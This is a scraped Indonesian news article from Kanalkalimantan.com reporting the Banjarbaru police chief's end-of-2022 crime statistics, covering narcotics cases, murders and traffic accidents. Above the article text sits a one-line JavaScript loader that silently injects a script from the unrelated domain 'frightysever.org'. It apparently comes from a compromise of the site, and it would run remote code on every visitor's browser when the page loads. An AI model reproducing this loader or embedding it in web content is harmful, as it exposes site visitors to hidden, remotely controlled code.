(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Kapolres Banjarbaru, AKBP Dody Harza Kusumah menyebut sepanjang tahun 2022 kasus narkotika memiliki angka paling tertinggi. Hal tersebut disampaikannya saat press conference akhir tahun 2022 di Mapolres Banjarbaru, Kamis (29/12/2022) siang.
AKBP Dody menyebutkan dari 493 perkara, dengan kejahatan konvensional yakni 325 perkara, kejahatan transnasional 158 perkara dan kekayaan negara 10 perkara.
Di dalam 493 perkara yang ditangani Polres Banjarbaru, kasus narkotika terbanyak dengan 158 perkara.
“Yang sukses 143 perkara, menyisakan tunggakan 15 perkara kasus narkotika yang diperkirakan selesai pada Januari 2023,” ungkapnya.
Baca juga : Rekor Terbaik! PLN Raih 15 Penghargaan Proper Emas dan CEO Green Leadership Utama
Dilanjutkannya bahwa untuk kasus pencurian dengan pemberatan merupakan kasus tertinggi kedua di Banjarbaru dengan 39 perkara dengan tunggakan 3 kasus.
Kasus-kasus menonjol lainnya yang telah dilakukan oleh Polres Banjarbaru yakni pengungkapan kasus pembunuhan yang terjadi di depan kafe booze yang terjadi pada 29 Maret 2022, kasus pembunuhan kedua terjadi di Cempaka pada 17 Agustus 2022.
Kemudian kasus ketiga yakni pembuangan bayi di Jalan Trikora Kelurahan Kemuning pada 4 Desember 2022 dan kasus terakhir yang terjadi pada 14 Desember 2022 terkait kasus pembunuhan.
“Keempat kasus menonjol ini yang berhasil kita ungkap, meski masih ada perkara lain yang menonjol,” katanya.
Baca juga : Meraih Tropi Utama Proklim, 7 Desa Proklim di Kalsel Terima Kendaraan Roda Tiga
Sedangkan untuk Laka Lantas di tahun 2022 terjadi peningkatan untuk korban meninggal mengalami kenaikan sekitar 72,41% atau 21 korban meninggal dunia, tidak ada luka berat dan luka ringan naik 153,49% dengan angka 109 orang. Kerugian materi terjadi penurunan 76,57% dengan nilai Rp 413 juta.
“Kasus Laka Lantas sepanjang tahun 2022 mengalami peningkatan, pada tahun 2021 ada 74 kasus mengalami peningkatan menjadi 92 kasus,” bebernya.
AKBP Dody juga menyampaikan bahwa di tahun 2022 terjadi penurunan angka tilang sebesar 18,58% dari 2.320 kali penilangan, di tahun 2022 ini dilakukan penilangan sebanyak 1.889 kali. (Kanalkalimantan.com/ibnu)
Reporter : ibnu
Editor : cell
KANALKALIMANTAN.COM, BANJARBARU – Cuaca di Kalimantan Selatan (Kalsel) dalam sepekan ke depan diprakirakan masih didominasi… Read More
KANALKALIMANTAN.COM, PARINGIN - Badan Penanggulangan Bencana Daerah (BPBD) Kabupaten Balangan menuntaskan tahap II pelatihan Tim… Read More
KANALKALIMANTAN.COM, JAKARTA — Kementerian Agama Republik Indonesia (Kemenag RI) resmi menetapkan 1 Ramadan 1447 Hijriah… Read More
KANALKALIMANTAN.COM, BANJARMASIN — Kantor Wilayah (Kanwil) Kementerian Agama Provinsi Kalimantan Selatan (Kemenag Kalsel) menggelar pemantauan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Dalam perayaan Tahun Baru Imlek, ada banyak warna merah menghiasi segala aspek… Read More
KANALKALIMANTAN.COM, BANJARMASIN – Kuda Api menjadi shio di tahun baru Imlek 2026. Apa makna di… Read More
This website uses cookies.